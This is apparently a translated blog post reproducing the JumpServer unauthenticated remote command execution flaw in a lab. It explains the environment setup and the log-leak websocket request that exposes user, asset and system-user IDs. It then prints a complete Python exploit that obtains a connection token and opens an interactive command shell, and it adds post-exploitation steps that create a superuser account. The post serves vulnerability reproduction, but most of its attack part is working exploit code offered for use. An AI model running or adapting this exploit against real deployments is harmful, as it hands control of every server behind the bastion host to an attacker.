RCE vulnerability reproduction and utilization of jumpserver remote command execution

0x01 Introduction

  • JumpServer Remote Execution Vulnerability RCE EXP
  • Jumpserver is an open source springboard machine (fortress machine) system written by python. It is a centralized system in the intranet. After it is taken down, it can basically control a large number of servers.
  • Project address: https://github.com/jumpserver/jumpserver

0x02 Vulnerability principle

Remote command execution vulnerability: Since some interfaces of JumpServer do not have authorization restrictions, an attacker can construct a malicious request to obtain log files to obtain sensitive information, and then obtain a 20s token through the sensitive information, and finally use this token to execute related API operations to control it All machines or execute arbitrary commands.

0x03 Affected versions:

  • JumpServer < v2.6.2
  • JumpServer < v2.5.4
  • JumpServer < v2.4.5
  • JumpServer = v1.5.9

0x04 Pay attention to pitfalls in the reproduction environment

It is recommended to use one-click installation for environment construction, because the environment is more troublesome, and it must be an old version, here is v2.6.1

Installation script V2.6.1 https://www.o2oxy.cn/wp-content/uploads/2021/01/quick_start.zip

  • Be careful to configure the environment a little higher, otherwise it will get stuck. (I am a Centos 7 system with 4 cores and 8G)

  • When using a script, it is recommended not to use external mysql and redis, so that it will create a database by docker itself, saving you from reporting errors.

image-20211116213713089

image-20211116215738873

  • Once set up, start the service with one click./jmsctl.sh restart

  • The setup is complete, the default account and password are admin admin

http://10.211.55.22:8080/core/auth/login/

After logging in, it cannot be used directly. It needs to be configured and assigned to a server before it can be used.

image-20211116135025055

image-20211116140247634

1. Create a system user

  • The system user is the user used when JumpServer jumps to log in to assets

image-20211116162139678

2. Create a management user

The administrative user is root on the asset (controlled server), or a user with NOPASSWD: ALL sudo privileges

My managed host is root root

image-20211116162425352

3. Create assets

is the terminal to be managed

image-20211116161329363

4. Asset authorization

Only when assets are authorized, the console has machines and can manage them

image-20211116214033044

5. Web terminal connection

Access the web terminal:

http://10.211.55.22:8080/luna/

image-20211116213928187

0x05 Vulnerability Reappearance

1. Request unauthorized socketweb

ws://10.211.55.22:8080/ws/ops/tasks/log/

Using the chrome plugin https://chrome.google.com/webstore/detail/websocket-test-client/fgponpodhbmadfljofbimhhlengambbn/related

request log file

{"task":"/opt/jumpserver/logs/gunicorn"}

image-20211116213021155

2. Obtain the three important parameters of system_user user_id asset_id

Search for these three ids yourself

image-20211116210851228

So what you get is

asset_id=230f921b-be1c-4343-8bab-57d4410606bb&cache_policy=1&system_user_id=03705092-18e7-4b65-a12a-7991f9c50740&user_id=0cae929c-5f7a-41a4-b873-bc9d28613c4c 

3. Correspondingly fill in EXP

Exp is put at the end for the sake of beauty

文件最后需要修改的:

host = "http://10.211.55.22:8080"

data = {
        "user": "0cae929c-5f7a-41a4-b873-bc9d28613c4c",
        "asset": "230f921b-be1c-4343-8bab-57d4410606bb",
        "system_user": "03705092-18e7-4b65-a12a-7991f9c50740",
    }

4. Successful use of:

image-20211116211942852

Post-Exploitation: Creating Hyperpipes

After obtaining the shell, we can directly create a supermanagement. After all, host permissions are useless, and there are a large number of hosts only after logging in to the system.

Command line to create a super pipe

切换到目录  
cd /opt/jumpserver/apps

python manage.py createsuperuser

image-20211116151519867

Super tube login successful

image-20211116151545855

EXP

EXP code repository https://github.com/Skactor/jumpserver_rce

According to my actual measurement, the manual acquisition of asset_id system_user_id user_id can trigger the vulnerability normally, but there are some problems with many automatic acquisitions. Anyway, mine was unsuccessful.

import os

import asyncio
import aioconsole

import websockets
import requests
import json

url = "/api/v1/authentication/connection-token/?user-only=1"


def get_celery_task_log_path(task_id):
    task_id = str(task_id)
    rel_path = os.path.join(task_id[0], task_id[1], task_id + ".log")
    path = os.path.join("/opt/jumpserver/", rel_path)
    return path


async def send_msg(websocket, _text):
    if _text == "exit":
        print(f'you have enter "exit", goodbye')
        await websocket.close(reason="user exit")
        return False
    await websocket.send(_text)


async def send_loop(ws, session_id):
    while True:
        cmdline = await aioconsole.ainput()
        await send_msg(
            ws,
            json.dumps(
                {"id": session_id, "type": "TERMINAL_DATA", "data": cmdline + "\n"}
            ),
        )


async def recv_loop(ws):
    while True:
        recv_text = await ws.recv()
        ret = json.loads(recv_text)
        if ret.get("type", "TERMINAL_DATA"):
            await aioconsole.aprint(ret["data"], end="")


# 客户端主逻辑
async def main_logic():
    print("#######start ws")
    async with websockets.connect(target) as client:
        recv_text = await client.recv()
        print(f"{recv_text}")
        session_id = json.loads(recv_text)["id"]
        print("get ws id:" + session_id)
        print("###############")
        print("init ws")
        print("###############")
        inittext = json.dumps(
            {
                "id": session_id,
                "type": "TERMINAL_INIT",
                "data": '{"cols":164,"rows":17}',
            }
        )
        await send_msg(client, inittext)
        await asyncio.gather(recv_loop(client), send_loop(client, session_id))


if __name__ == "__main__":
    host = "http://10.211.55.22:8080"
    cmd = "whoami"
    if host[-1] == "/":
        host = host[:-1]
    print(host)
    data = {
        "user": "0cae929c-5f7a-41a4-b873-bc9d28613c4c",
        "asset": "230f921b-be1c-4343-8bab-57d4410606bb",
        "system_user": "03705092-18e7-4b65-a12a-7991f9c50740",
    }
    print("##################")
    print("get token url:%s" % (host + url,))
    print("##################")
    res = requests.post(host + url, json=data)
    token = res.json()["token"]
    print("token:%s", (token,))
    print("##################")
    target = (
        "ws://" + host.replace("http://", "") + "/koko/ws/token/?target_id=" + token
    )
    print("target ws:%s" % (target,))
    asyncio.get_event_loop().run_until_complete(main_logic())

Guess you like

Origin blog.csdn.net/god_zzZ/article/details/121366616